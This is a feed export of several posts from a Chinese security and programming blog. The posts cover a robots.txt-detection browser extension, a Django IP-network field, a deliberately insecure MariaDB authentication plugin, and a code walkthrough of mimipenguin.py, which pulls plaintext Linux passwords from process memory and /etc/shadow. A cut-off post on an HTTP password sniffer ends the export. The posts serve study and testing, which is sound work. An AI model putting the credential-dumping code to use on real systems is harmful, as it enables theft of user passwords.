编程 – 若水斋 https://blog.werner.wiki Try harder Thu, 21 Nov 2019 14:00:31 +0000 zh-Hans hourly 1 https://wordpress.org/?v=6.8.3 https://blog.werner.wiki/wp-content/uploads/2018/11/cropped-ql1-1-32x32.jpg 编程 – 若水斋 https://blog.werner.wiki 32 32 一款自动检测网站是否存在robots.txt的浏览器扩展 https://blog.werner.wiki/detect-robots-txt-web-extension/ https://blog.werner.wiki/detect-robots-txt-web-extension/#comments Sat, 16 Nov 2019 09:15:24 +0000 https://blog.werner.wiki/?p=953 在学习PWK课程时有次遇到一个Web服务,访问根路径返回404,于是就用dirb扫描。由于网速不太好,扫描了很久才发现存在robots.txt,以此为突破口成功地拿到了Webshell。当时就尝试找一款能自动检测网站是否存在robots.txt的浏览器扩展,但并没有找到,于是萌生了自己写一个的念头。现在我学完了PWK,顺利拿到了OSCP认证,便花了些时间实现了自己当时的想法。

安装

这款浏览器扩展兼容Firefox和Google Chrome,但我只将它上传到了Firefox的Add-ons,没有将它上传到Chrome Web Store。原因如下:

  • 这款浏览器扩展仅对渗透测试有用,而Firefox由于其独立于操作系统的证书系统和代理设置,更适合于渗透测试;
  • 想要上传浏览器扩展到Chrome Web Store需要先缴纳5美元,而这款浏览器扩展可能最终只会有一个用户——我自己——在渗透测试时几乎从不使用Google Chrome。

在Firefox中安装

由于我将它上传到了Add-ons,所以在Firefox安装它很简单。打开https://addons.mozilla.org/firefox/addon/robots-txt-detection/,点击添加到 Firefox,完成下载后弹出安装提示时点击添加就可以了。

在Google Chrome中安装

在Google Chrome中安装它其实也挺简单的,对于不能直接访问Chrome Web Store的地区的用户而言就更是小菜一碟了。

首先下载源码:

git clone https://github.com/Werneror/RobotsTxtDetection.git

然后打开Google Chrome,在地址栏中输入Chrome://extensions/进入到扩展管理页面,点击页面右上角的开关打开开发者模式。接着点击页面左上角加载已解压的扩展程序按钮,在弹出的选择器中选中下载的源码目录RobotsTxtDetection即可。

使用

在使用安装了这款扩展的浏览器时,若访问的网站存在robots.txt,地址栏中就会自动出现一个小图标,如下图所示。

将鼠标移动到小图标上,会看到提示文字,如下图所示。

单击小图标会弹出一个包含超链接的页面,点击超链接可以直接打开robots.txt页面,如下图所示。

在某些版本的Google Chrome中,小图标不在地址栏中,而是在地址栏右边,或其他位置,取决于用户的定制。访问的网站不存在robots.txt时,小图标也不会消失,而是变成灰色。

配置

这款扩展提供一些简单的配置,如下图所示是配置页面和默认配置。

检测路径

默认情况下只检测robots.txt,但也可以配置为检测更多的路径。每行写一个要检测的路径。以/开头的路径会被视为绝对路径,否则为相对路径。举个例子,假设配置为检测以下路径:

/robots.txt
security.txt

正在浏览的URL是https://www.example.com/test/index.html,那么实际上会检测:

https://www.example.com/robots.txt
https://www.example.com/test/security.txt

状态码

默认以404、301和302做为判断路径不存在的状态码,但如果有特殊需求,也可以进行配置。

技术细节

缓存

一般来说网站有哪些路径是十分稳定的,不会在短时间里发生变化,所以采取的缓存策略是尽可能多地缓存。对于一个特定的URL,扩展只会发送一次请求,除非重启浏览器、禁用/启用或卸载/重新安装。

重定向

XMLHttpRequest会自动跟随重定向,所以扩展实际上没有办法获取到301、302这样的状态码(也许有办法只有我没找到?)。判断是否发生重定向的方法是:比较请求的URL和响应的URL是否相同,若不同,则发生了重定向。

源代码

源代码见:https://github.com/Werneror/RobotsTxtDetection

]]>
https://blog.werner.wiki/detect-robots-txt-web-extension/feed/ 2
django-cidrfield开发小记 https://blog.werner.wiki/django-cidrfield-notes/ https://blog.werner.wiki/django-cidrfield-notes/#comments Sat, 02 Nov 2019 14:09:07 +0000 https://blog.werner.wiki/?p=926 在Django中GenericIPAddressField可以存储一个IPv4或IPv6地址,但没有专门用来存储网段的字段。用字符串存储网段会丢失语义,如无法按包含的IP地址过滤网段。Django插件django-netfields实现了存储网段的功能,但只支持PostgreSQL,它直接使用了PostgreSQL提供的网段相关字段。我设计实现了一个支持所有数据库的专用于存储网段的字段IPNetworkField。这篇文章将介绍IPNetworkField的使用方法和实现原理。

后文中IP段和网段为同义词,视行文方便使用。

使用方法

首先使用pip安装django-cidrfield

pip install django-cidrfield

在定义model时模仿下面的示例定义存储网段的字段:

from django.db import models
from cidrfield.models import IPNetworkField

class MyModel(models.Model):

    # the regular params should work well enough here
    ip_network = IPNetworkField()
    # ... and so on

创建model后按如下的示例存储一个网段:

MyModel(ip_network='192.168.1.0/24').save()

可以用__contains查询包含特定IP或IP段的网段:

MyModel.objects.filter(ip_network__contains='192.168.1.1')
MyModel.objects.filter(ip_network__contains='192.168.1.250/30')

__icontains效果是一样的。

可以用__in查询属于特定网段的网段:

MyModel.objects.filter(ip_network__in='192.168.0.0/16')

实现原理

设计目标

在开始论述实现原理前先捋一捋需求。我们的目标是:

  • 可以存储一个网段
  • 可以查询包含特定IP地址或地址段的网段
  • 可以查询属于特定IP地址段的网段

如何存储

并不是所有数据库都像PostgreSQL一样原生支持网段的存储和查询。所以我只能选择使用整数或字符串来存储网段。若想用一个数据库字段存储网段,使用整数有些力不从心,因为一个IP地址就是一个整数,而网段是IP地址加上一个额外的数据(掩码或CIDR)。但若用字符串来存储网段。又会遇到运算困难的问题,为了解决这些问题,我设计了一种实现简单,但效率不高的数据结构:用字符串存储二进制数。我们以一个IPv4地址段为例:

192.168.56.0/24

这个地址段由一个IP地址和“/24”(CIDR)组成。这种表示IP地址的方式为点分十进制,便于人类阅读,但不便于计算。最便于计算的无疑为二进制形式,因此我们把上述的地址段转换为:

11000000101010000011100000000000/24

但我们把上面的值以字符串形式保存在数据库中依旧无法计算,问题主要出在“/24”上。直接丢掉“/24”会丢失一部分信息,我的方法是丢掉“/24”的同时只保留字符串的前24位,网段变成了:

110000001010100000111000

如果知道转换规则,我们是否可以将其还原为最初的网段呢?答案是肯定的。因为我们没有丢失信息。“24”这个信息体现在字符串长度上,而字符串被丢掉的部分为全0。

但最终存储的数据还需要在字符串前面加上“IPv4”或“IPv6”,以区别两种IP协议的网段,还需要在字符串后边加上“%”,以便于进行数据库字符串搜索。

总结一下,网段:

192.168.56.0/24

存储在数据库中的实际是:

IPv4110000001010100000111000%

IPv6地址的存储同理。

如何查询

网段:

192.168.0.0/16

存储在数据库中长什么样呢?这是很容易计算的。为便于读者对比,将两个网段实际存储的数据写在一起:

IPv41100000010101000%                # 192.168.0.0/16
IPv4110000001010100000111000%        # 192.168.56.0/24

至此读者应该可以明白网段的查询要如何实现了,直接用SQLlike就可以了,这也是要在末尾加“%”的原因。

为了文章的完整性,我觉得有必要进行简单的说明:

  • 若网段A属于网段B,则在数据库中存储的数据,A like B一定成立;
  • 若网段A包含网段B,则在数据库中存储的数据,B like A一定成立。

编程实现

阅读官方文档《编写自定义模型字段(model fields)》可以学习如何编写自定义的模型字段。完整的代码见Github,长度很短,有兴趣的读者可自行阅读。

]]>
https://blog.werner.wiki/django-cidrfield-notes/feed/ 8
编写一个简单的MariaDB认证插件 https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/ https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/#respond Sun, 06 May 2018 11:06:16 +0000 http://blog.werner.wiki/?p=418 概述

不知从哪天起,大家都不用Mysql转而使用MariaDB了。

众所周知(其实可能很多人不知道)MariaDB支持插件认证。在MariaDB中新建用户,常见的语句是:

CREATE USER 'username'@'host' IDENTIFIED BY 'password';

这样创建的用户,登录时的认证方式是密码。其实创建用户的语句还可以是:

CREATE USER 'username'@'host' IDENTIFIED VIA 'pluginname' USING 'authstring';

这样创建的用户,登录时的认证方式由插件决定。

本文展示了编写一个简单的MariaDB认证插件的全过程。实现的认证机制是用户输入正确的姓名学号即可登录。显然这一认证机制毫无安全性可言,本文重点在于展示插件编写过程。

本文内容基于MariaDB-10.1.8,操作系统是Ubuntu12.04。假设已经安装好了数据库。

基本原理

一个认证插件分为两部分,服务器侧和客户端侧,两者配合,才能完成整个认证过程。最常见的认证情景是服务器侧提问,客户端侧回答。

MariaDB提供了一个通用的客户端侧“dialog”,该客户端侧的功能是接收服务器侧的问题,将问题显示在终端上,并在终端上读取待登录用户的回答,之后将回答发送给服务器侧。它支持不限个数的问答,还支持普通问题和密码问题两种问题,普通问题在待登录用户输入回答时是有回显的,密码问题在待登录用户输入回答时是没有回显的。由于最后一个问题需要特殊处理,所以实际上有四种类型的问题。问题字符串的第一个字节是问题类型,宏定义如下:

    /* mysql/auth_dialog_client.h */
    #define ORDINARY_QUESTION       "\2"
    #define LAST_QUESTION           "\3"
    #define PASSWORD_QUESTION       "\4"
    #define LAST_PASSWORD           "\5"

由于我们想要编写一个简单的认证插件,所以简单起见,客户端侧就使用“dialog”,完全满足要求。这样,我们便只用编写服务器侧部分。

服务器侧部分要做的事情便是与客户端侧的“dialog”通讯,读取输入的姓名学号进行验证。具体实现见下节。

编写代码

套路部分

认证插件的套路如下:

    #include <string.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <mysql/plugin_auth.h>
    #include <mysql/auth_dialog_client.h>

    static int school_number_auth(MYSQL_PLUGIN_VIO *vio, MYSQL_SERVER_AUTH_INFO *info)
    {
        /* 该函数是实际上进行认证的地方,
           认证通过返回CR_OK,
           认证失败返回CR_ERROR; */
    }

    static struct st_mysql_auth my_auth_plugin=
    {
        MYSQL_AUTHENTICATION_INTERFACE_VERSION, // 插件的接口版本号
        "dialog", // 客户端侧处理函数,我们直接使用了“dialog”,也可以自定义
        school_number_auth // 服务器侧处理函数
    };

    mysql_declare_plugin(dialog)
    {
        MYSQL_AUTHENTICATION_PLUGIN, // 插件类型
        &my_auth_plugin, // 插件结构体指针
        "school_number", // 插件名
        "Werner", // 作者
        "A simple MariaDB auth plugin", // 描述
        PLUGIN_LICENSE_GPL, // 许可证书
        NULL,
        NULL,
        0x0100,
        NULL,
        NULL,
        NULL,
        0,
    }
    mysql_declare_plugin_end;

mysql_declare_plugin声明了一个插件,其中写明了插件名、插件类型、作者、描述和许可证书等信息,
最重要的是插件结构体指针“&my_auth_plugin”。

插件结构体指针“&my_auth_plugin”指向插件结构体“my_auth_plugin”,该结构体中写明了客户端侧处理函数和服务器侧处理函数。在我们编写的插件中,客户端侧处理函数直接写字符串”dialog”,表示使用MariaDB提供的通用客户端侧“dialog”,服务器侧处理函数school_number_auth是实际上进行认证的地方,认证通过返回CR_OK,认证失败返回CR_ERROR。CR_OK和CR_ERROR宏定义如下:

    /* mysql/plugin_auth_common.h */
    #define CR_ERROR 0
    #define CR_OK -1

我们只需要完善函数school_number_auth即可。

认证部分

在这一小节中,我们将完善函数school_number_auth。

首先看该函数的两个参数“MYSQL_PLUGIN_VIO *vio”和“MYSQL_SERVER_AUTH_INFO *info”。

“MYSQL_PLUGIN_VIO”中的“VIO”的含义是虚拟输入输出,它的定义如下所示:

    /* mysql/plugin_auth.h.pp */
    typedef struct st_plugin_vio
    {
      int (*read_packet)(struct st_plugin_vio *vio,
                         unsigned char **buf);
      int (*write_packet)(struct st_plugin_vio *vio,
                          const unsigned char *packet,
                          int packet_len);
      void (*info)(struct st_plugin_vio *vio, struct st_plugin_vio_info *info);
    } MYSQL_PLUGIN_VIO;

可以看到它是一个结构体,成员都是函数指针。

顾名思义,函数*read_packet是虚拟的读,从vio中读取以“\0”结尾的字符串,返回读取到的字符串长度。这个读操作是阻塞读。

*write_packet是虚拟的写,向vio中写入一个字符串,需要指定写入长度。同样,写操作是阻塞写。

“MYSQL_SERVER_AUTH_INFO”的定义如下:

    /* mysql/plugin_auth.h.pp */
    typedef struct st_mysql_server_auth_info
    {
      char *user_name; // 客户端发送的用户名
      unsigned int user_name_length; // 客户端发送的用户名长度
      const char *auth_string; // 在mysql.user表中记录的相应账户的authentication_string
      unsigned long auth_string_length; // authentication_string长度
      char authenticated_as[512 +1]; // 代理用户名,传入时为user_name,可设置
      char external_user[512 +1]; // 系统变量external_user显示的值,待设置
      int password_used; // 是否使用密码,待设置
      const char *host_or_ip; // 主机或IP
      unsigned int host_or_ip_length; // 主机或IP的长度
    } MYSQL_SERVER_AUTH_INFO;

由上述定义可知在“MYSQL_SERVER_AUTH_INFO”中可以取到“user_name”和“auth_string”这样的关键字符串。

“password_used”的含义是“是否使用密码”,当认证出错时,报错信息的后面有“Password used: Yes/No”,显示“Yes”还是“No”就由“password_used”决定。默认为“No”,若想保存信息中显示“Yes”,可在school_number_auth函数中设置“password_used”,代码片段如下:

info->password_used= PASSWORD_USED_YES;

明白传入参数的含义后很容易就可以写出school_number_auth函数,其内容如下:

    static int school_number_auth(MYSQL_PLUGIN_VIO *vio, MYSQL_SERVER_AUTH_INFO *info)
    {
        int pkt_len;
        unsigned char *pkt;

        if (vio->write_packet(vio, (const unsigned char *) ORDINARY_QUESTION "Please enter your name: ", 26))
            return CR_ERROR;

        if ((pkt_len= vio->read_packet(vio, &pkt)) < 0)
            return CR_ERROR;

        if (strcmp((const char *) pkt, info->user_name))
            return CR_ERROR;

        if (vio->write_packet(vio, (const unsigned char *) LAST_QUESTION "Please enter your school number: ", 35))
            return CR_ERROR;

        if ((pkt_len= vio->read_packet(vio, &pkt)) < 0)
            return CR_ERROR;

        if (strcmp((const char *) pkt, info->auth_string))
            return CR_ERROR;

        return CR_OK;
    }

至此,我们就完成了认证插件的代码编写,将其保存到文件my_auth_plugin.c中,然后进入到下一节。

编译安装

编译

插件的代码写好后按如下命令编译:

gcc $(mysql_config --cflags) -shared -fPIC -DMYSQL_DYNAMIC_PLUGIN -o my_auth_plugin.so my_auth_plugin.c

参数“-DMYSQL_DYNAMIC_PLUGIN”是必不可少的,否则编译的时候不会报错,但在MariaDB中执行“INSTALL PLUGIN”时会报如下错误:

ERROR 1127 (HY000): Can't find symbol '_mysql_plugin_interface_version_' in library

另外一种常见的错误是找不到头文件:

#include <mysql/plugin_auth.h>
#include <mysql/auth_dialog_client.h>

解决方法是安装相关开发包引入需要的头文件,命令是:

sudo rpm -ivh MariaDB-devel-5.2.9-102.el5.x86_64.rpm

sudo apt-get install libmariadbclient-dev

其实不执行上述命令,将MariaDB安装路径下的inculde目录加入到gcc的头文件搜索路径中也可以解决头文件缺失问题。

编译成功后得到my_auth_plugin.so。

复制

编译得到.so文件后需要将.so文件复制到MariaDB的插件目录中。进入MariaDB,用如下语句查询插件目录:

MariaDB [(none)]> SHOW VARIABLES LIKE 'plugin_dir';
+---------------+------------------------------+
| Variable_name | Value                        |
+---------------+------------------------------+
| plugin_dir    | /usr/local/mysql/lib/plugin/ |
+---------------+------------------------------+
1 row in set (0.00 sec)

将my_auth_plugin.so复制到MariaDB的插件目录中:

sudo cp my_auth_plugin.so /usr/local/mysql/lib/plugin/

复制完成后最好修改my_auth_plugin.so的所有者为运行MariaDB的用户,该用户名一般是mysql,命令如下:

sudo chown mysql /usr/local/mysql/lib/plugin/my_auth_plugin.so

安装

只是将.so文件复制到MariaDB的插件目录中还不够,还需要在MariaDB中安装插件,语句如下:

MariaDB [(none)]> INSTALL PLUGIN school_number SONAME 'my_auth_plugin.so';
Query OK, 0 rows affected (0.00 sec)

“school_number”是插件名,定义在mysql_declare_plugin中,my_auth_plugin.so是.so文件名,不要混淆。

有安装就有卸载,如何卸载呢?语句如下:

MariaDB [(none)]> UNINSTALL PLUGIN school_number;
Query OK, 0 rows affected (0.00 sec)

先不要执行卸载语句,或是卸载后重新安装,后面还要用到这个插件。

使用插件

先创建一个使用该插件认证登录的用户,语句如下:

MariaDB [(none)]> CREATE USER 'werner'@'localhost' IDENTIFIED VIA 'school_number' USING 'M201434212';
Query OK, 0 rows affected (0.00 sec)

退出MariaDB后以werner用户登录,可以看到确实使用了插件认证方式,具体过程如下图所示。

插件认证方式登录过程截图

源码下载

可以在这里下载到源码。(其实文中已经出现了全部源码。)

参考文献

  1. MySQL 5.5 Reference Manual
  2. Writing a MariaDB PAM Authentication Plugin
  3. MySQLPlugin之如何编写Auth Plugin
]]>
https://blog.werner.wiki/write-a-simple-mariadb-auth-plugin/feed/ 0
mimipenguin.py源码解读 https://blog.werner.wiki/mimipenguin-py-interpretation/ https://blog.werner.wiki/mimipenguin-py-interpretation/#respond Sat, 23 Sep 2017 10:09:09 +0000 http://blog.werner.wiki/?p=345 mimipenguin.py是一个可以从内存中读取linux明文密码的Python脚本程序,关于它的使用见:《使用mimipenguin获取linux明文登录密码》。在这篇文章中,我将分析mimipenguin.py的源码,以搞清楚它是如何从内存中读取明文密码的。

0.总体流程

通过阅读mimipenguin.py源码可知,mimipenguin.py从内存中读取linux明文密码时的步骤如下:

  1. 必须以root权限运行本脚本
  2. 读取指定程序的虚拟内存
  3. 将虚拟内存转换为字符串列表
  4. 从字符串列表中用正则匹配找出密码Hash值
  5. 从字符串列表中用正则匹配找出明文密码
  6. 验证找到的明文密码是否正确
  7. 输出正确的明文密码

1.必须以root权限运行本脚本

由于读取内存需要root权限,所以必须以root权限运行mimipenguin-py。我们没有办法强制用户这么做,但可以检测用户是否以root权限运行,若没有则给出提示。

如何检测呢?我们知道,root用户的uid是0,所以只用在脚本中读取uid,若等于0则说明有root权限,否则没有,输出类似“mimipenguin should be ran as root”这样的提示。

这一部分代码如下:

  def running_as_root():
    return os.geteuid() == 0

  ......

  if not running_as_root():
        raise RuntimeError('mimipenguin should be ran as root')

2.读取指定程序的虚拟内存

指定程序是指给出了程序名的程序,如:“gdm-password”、“gnome-keyring-daemon”、“vsftpd”、“sshd”和“apache2”。阅读linux源码或查阅资料可知,这些程序在运行时,内存中可能存在明文密码。

如何读取指定程序的虚拟内存呢?其实这里说程序的虚拟内存是不严谨的。程序是静态的,只有运行着的程序——进程——才有虚拟内存。所以第一步是由程序名获得进程号。用“ps”命令当然可以,但mimipenguin.py采用的方法是读取proc文件系统中的信息来获取程序名对应的进程号。

proc文件系统是linux操作系统虚拟出来的文件系统,实际上只存在于内存中,磁盘上并没有对应的文件。用“ls /proc”命令查看proc文件系统中的文件如下图所示:

proc文件系统

可以看到其中有很多目录与文件,大部分目录名都是纯数字,这些数字的含义是进程号,某个进程的信息,便在对应的目录下。如用“ls /proc/1”命令查看进程号是1的进程的信息,如下图所示:

proc中进程信息

可以看到又是许多的目录和文件。这些目录和文件中记录的是这个进程的相关信息,我们重点关注三个文件:cmdline、maps和mem。cmdline文件中记录着该进程的程序名(命令),如下图所示:

proc中进程程序名

只要遍历/proc目录下目录名为数字的目录中的cmdline文件的内容,与指定程序名做比较,若相等,则认为该进程是指定程序的运行实例。由于一个程序可以有多个运行实例,所以找到一个进程还不能break,要遍历所有才行,并且返回值也应当是存储着进程号的列表。实现这一逻辑的代码如下:

  def find_pid(process_name):
    pids = list()

    for pid in os.listdir('/proc'):
        try:
            with open('/proc/{}/cmdline'.format(pid), 'rb') as cmdline_file:
                if process_name in cmdline_file.read().decode():
                    pids.append(pid)
        except IOError:
            continue

    return pids

为编程上的简便,上述代码遍历了/proc目录下所有目录,若打开cmdline失败,则捕获错误并continue。本着宁可错杀一千也不放过一个的考虑,指定指定程序名只要包含在cmdline中,就认为该进程是指定程序的运行实例。最后返回的pids是一个列表。

maps文件中存储着给进程的内存映射表,如下图所示:

proc中进程内存映射

注意到第二列是属性,类似“r-xp”,“r”指可读,“w”指可写,“x”指可执行,“p”指私有的(copy on write),“-”表示无此属性。显然我们只关心具有“r”属性的内存区域。

mem文件中的内容便是这个进程的虚拟内存的映射了,读取mem文件相当于在读取该进程的虚拟内存。读取制定进程号的虚拟内存的代码如下:

  def dump_process(pid):
      dump_result = bytes()

      with open('/proc/{}/maps'.format(pid), 'r') as maps_file:
          for l in maps_file.readlines():
              memrange, attributes = l.split(' ')[:2]
              if attributes.startswith('r'):
                  memrange_start, memrange_stop = [
                      int(x, 16) for x in memrange.split('-')]
                  memrange_size = memrange_stop - memrange_start
                  with open('/proc/{}/mem'.format(pid), 'rb') as mem_file:
                      try:
                          mem_file.seek(memrange_start)
                          dump_result += mem_file.read(memrange_size)
                      except (OSError, ValueError, IOError, OverflowError):
                          pass

      return dump_result

这段代码会打开指定进程的maps文件,逐行遍历,读取内存映射关系。对每一行,用l.split(‘ ‘)[:2]简单快捷地取了映射关系中的内存起止地址和属性,其余信息无用故忽略;接着判断这段内存区域是否可读(属性以“r”开头),若可读,则又以“-”从内存起止地址中分割出起始地址和终止地址,并将16进制转换成10进制,终止地址减去起始地址计算出内存区域大小,之后打开mem文件,用seek定位到内存起始地址,读取内存区域大小的数据,并将读到的数据添加到变量dump_result中。当maps文件文件遍历完毕后,该进程所有可读内存都被读到了变量dump_result中。虽然dump_result中的数据是各个内存片段拼凑起来的,并不连续,但有什么关系呢,我们只是想从中寻找可能存在的明文密码而已。

3.将虚拟内存转换为字符串列表

毫无疑问,内存中的数据不全是字符串,只有部分数据可以被作为可打印字符打印到屏幕,连续的可打印字符便是字符串。我们想要寻找的明文密码一定是可打印字符,所以丢弃掉内存中非字符串的数据,只保留字符串数据是不会让我们错过明文密码。

现在我们已经有了存储着某个进程虚拟内存数据的变量dump_result,现在想要做的事情是把dump_result中的字符串提取出来,输入dump_result,返回字符串列表。该怎么做呢?

首先要解决一个问题,可打印字符都有哪些?在Python中,有个名为string的库,这个库有一个名为printable的属性,其中定义了英语世界所有的可打印字符,如下所示:

  >>> import string
  >>> string.printable
  '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~ \t\n\r\x0b\x0c'

另一个问题是字符串长度。明文密码长度不可能太短,如不可能只有一两个字符,所以只有足够多的连续的可打印字符组成的字符串才有意义。长度的阈值取多少合适呢?可以作为一个参数min_length,该参数默认值为4。

有了上面的准备,就可以从dump_result中提取字符串了。以字节为单位遍历dump_result,通过是否在string.printable中来判断当前遍历到的数据是否可打印。若干个连续的可打印字符组成字符串,若字符串长度不小于min_length,则将这个字符串添加到strings_result列表中。遍历完dump_result后,返回strings_result即可。这部分代码如下所示:

  def strings(s, min_length=4):
      strings_result = list()
      result = str()

      for c in s:
          try:
              c = chr(c)
          except TypeError:
              # In Python 2, c is already a chr
              pass
          if c in string.printable:
              result += c
          else:
              if len(result) >= min_length:
                  strings_result.append(result)
              result = str()

      return strings_result

4.匹配Hash、明文密码与验证

之所以将这几步放在一起是因为mimipenguin.py中写了一个类PasswordFinder来统一干这几件事。

类PasswordFinder有以下几个方法:

  • _dump_target_processes
  • _find_hash
  • _find_potential_passwords
  • _try_potential_passwords
  • dump_passwords

第一个方法_dump_target_processes的作用是读取指定程序的虚拟内存并转换成字符串列表,代码如下所示:

  def _dump_target_processes(self):
      target_pids = list()
      for target_process in self._target_processes:
          target_pids += find_pid(target_process)
      for target_pid in target_pids:
          self._strings_dump += strings(dump_process(target_pid))

_dump_target_processes中指定程序的程序名从_target_processes中读取,该属性是PasswordFinder的子类中定义的属性,如

  self._target_processes = ['gnome-keyring-daemon']

第二个方法_find_hash的作用是从字符串列表中匹配Hash,代码如下所示:

  def _find_hash(self):
      for s in self._strings_dump:
          if re.match(PasswordFinder._hash_re, s):
              self._found_hashes.append(s)

PasswordFinder._hash_re是用于匹配Hash值的正则表达式,其内容为“r’^\$.\$.+$’”,匹配的是类似:

  $6$0fokwg59$6hpMS5dM9wDT/42DDoSD0i0g/wHab50Xs9iEvVLC3V20yf1kRmXZHGXCM0Efv6XU69hdgMZ4FwaMzso4hQaGQ0

这样的密码Hash,这种格式是linux中/etc/shadow文件保存登录密码Hash的格式。

第三个方法_find_potential_passwords的作用是从字符串列表中匹配可能的密码,代码如下所示:

  def _find_potential_passwords(self):
      for needle in self._needles:
          needle_indexes = [i for i, s in enumerate(self._strings_dump)
                            if re.search(needle, s)]
          for needle_index in needle_indexes:
              self._potential_passwords += self._strings_dump[
                  needle_index - 10:needle_index + 10]
      self._potential_passwords = list(set(self._potential_passwords))

self._needles是PasswordFinder的子类中定义的属性,如:

  self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$']

其值是正则表达式列表,列表中每个正则表达式都被称needle(指针),为用于匹配一个字符串。这个字符串虽然不是明文密码,但是却在明文密码附近。因为明文密码是未知的,所以不可能写出直接匹配明文密码的正则,只能退而求其次,匹配明文密码附近的字符串。我们看到:

  self._potential_passwords += self._strings_dump[
      needle_index - 10:needle_index + 10]

把匹配needle的字符串附近(-10~+10)的字符串都作为最后的可能密码。显然,可能密码会有很多很多,所以需要_try_potential_passwords来验证哪些密码是真正的密码。

needle大概是阅读了目标程序源码或进行逆向分析后写出来的。最终能不能有效地找到明文密码在很大程度上取决于这些正则表达式写得好不好。

最后“list(set(self._potential_passwords))”的作用是去重,集合(set)中的元素是不允许重复的,list(set())是Python中常见的列表去重的方法,虽然效率不是最高的,但确实写法最简单的。

第四个方法_try_potential_passwords的作用是从可能的密码列表中验证哪些密码是正确的。这部分代码有点长,先不看代码,考虑一个问题:如何验证明文密码的正确性。我们知道linux在文件/etc/shadow中存储了登录密码的Hash值,我们在内存中也尝试匹配了登录密码的Hash值,这些Hash值可以用于验证可能的明文登录密码是否正确——只需要计算可能的明文密码的Hash值并与已有的Hash值做比较,若可能的明文密码的Hash值等于某个已有的Hash值,则可能的明文密码便一定是正确的明文密码。若相等的已有Hash值来自/etc/shadow,则还可以知道这是哪个用户的密码,否则只好输出’‘了。

这部分代码如下所示:

  def _try_potential_passwords(self):
      valid_passwords = list()
      found_hashes = list()
      pw_hash_to_user = dict()

      if self._found_hashes:
          found_hashes = self._found_hashes
      with open('/etc/shadow', 'r') as f:
          for l in f.readlines():
              user, pw_hash = l.split(':')[:2]
              if not re.match(PasswordFinder._hash_re, pw_hash):
                  continue
              found_hashes.append(pw_hash)
              pw_hash_to_user[pw_hash] = user

      found_hashes = list(set(found_hashes))

      for found_hash in found_hashes:
          ctype = found_hash[:3]
          salt = found_hash.split('$')[2]
          for potential_password in self._potential_passwords:
              potential_hash = compute_hash(ctype, salt, potential_password)
              if potential_hash == found_hash:
                  try:
                      valid_passwords.append(
                          (pw_hash_to_user[found_hash], potential_password))
                  except KeyError:
                      valid_passwords.append(
                          ('<unknown user>', potential_password))

      return valid_passwords

这一验证方法仅仅适用于linux登录密码,若我们寻找的不是linux登录密码,而是其他程序的,就需要根据其他程序的特点重写_try_potential_passwords方法。如寻找Apache的密码时_try_potential_passwords方法被重写为:

  def _try_potential_passwords(self):
      valid_passwords = list()

      for potential_password in self._potential_passwords:
          try:
              potential_password = base64.b64decode(potential_password)
          except binascii.Error:
              continue
          else:
              try:
                  user, password = potential_password.split(':', maxsplit=1)
                  valid_passwords.append((user, password))
              except IndexError:
                  continue

      return valid_passwords

内存中Apache的用户名和密码是用“:”连接在一起并被base64编码的,所以尝试对可能的明文密码进行base64解码,若成功解码,再用“:”把解码结果分割成用户名和密码两部分即可。由于base64编码结果具有很强的特征,不是base64编码结果的字符串拿去做base64解码往往是会失败的,所以base64解码成功且能用“:”分割成两部分的字符串也基本上就只有用户名和密码了。

第五个方法dump_passwords的作用是依次调用前四个方法并返回经过验证的明文密码,其代码如下所示:

  def dump_passwords(self):
      self._dump_target_processes()
      self._find_hash()
      self._find_potential_passwords()
      return self._try_potential_passwords()

注意到Apache的密码验证和Hash没有任何关系,所以不用匹配Hash值,故寻找Apache密码的类还需要重写dump_passwords方法,去掉“self._find_hash()”。

5.PasswordFinder的子类与结果输出

在上面的分析中我们已经知道PasswordFinder是不完善的,有几个抽象属性需要在子类中定义。具体讲是这两个属性:

- _target_processes
- _needles

另外,为输出地漂亮,子类还定义了属性“_source_name”。如果不用重写寻找密码的方法的话就只用重写init方法,添加这几个属性的定义就可以了。下面是几个PasswordFinder的子类的例子:

  class GdmPasswordFinder(PasswordFinder):
      def __init__(self):
          PasswordFinder.__init__(self)
          self._source_name = '[SYSTEM - GNOME]'
          self._target_processes = ['gdm-password']
          self._needles = ['^_pammodutil_getpwnam_root_1$',
                           '^gkr_system_authtok$']

  class GnomeKeyringPasswordFinder(PasswordFinder):
      def __init__(self):
          PasswordFinder.__init__(self)
          self._source_name = '[SYSTEM - GNOME]'
          self._target_processes = ['gnome-keyring-daemon']
          self._needles = [r'^.+libgck\-1\.so\.0$', r'libgcrypt\.so\..+$']

  class VsftpdPasswordFinder(PasswordFinder):
      def __init__(self):
          PasswordFinder.__init__(self)
          self._source_name = '[SYSTEM - VSFTPD]'
          self._target_processes = ['vsftpd']
          self._needles = [
              r'^::.+\:[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$']

  class SshdPasswordFinder(PasswordFinder):
      def __init__(self):
          PasswordFinder.__init__(self)
          self._source_name = '[SYSTEM - SSH]'
          self._target_processes = ['sshd:']
          self._needles = [r'^sudo.+']

我们可以根据自己的需要添加PasswordFinder的子类去寻找其他程序的密码,此时面向对象编程的威力显露无疑。

对一个PasswordFinder的子类,最后只需要调用dump_passwords()方法,并最后打印该方法的返回值即可。为了让用户知道这是哪个程序的密码,在输出dump_passwords()的返回值前,可以先输出_source_name。

6.总结

mimipenguin.py只有两百多行,功能也很简单,阅读其源码并不困难。

mimipenguin.py提供了一种读取linux内存数据的框架,在此基础上稍作修改,就可以做比读取明文密码更进一步的事了。

]]>
https://blog.werner.wiki/mimipenguin-py-interpretation/feed/ 0
基于libpcap的HTTP密码嗅探程序 https://blog.werner.wiki/http-password-sniffer-based-on-libpcap/ https://blog.werner.wiki/http-password-sniffer-based-on-libpcap/#respond Wed, 19 Apr 2017 06:34:33 +0000 http://blog.werner.wiki/?p=208 wireshark是很强大的抓包工具,但它并不能自动地嗅探出网络流量中的密码。所以我写了这个小程序,用于嗅探HTTP明文数据中的用户名和密码。是基于libpcap的,在ubuntu中安装libpcap的命令如下:

    sudo apt-get install libpcap-dev

编译密码嗅探程序的命令是:

    gcc sniffpwd.c -o sniffpwd -lpcap

密码嗅探程序sniffpwd可以不带参数,有一个参数或两个参数。
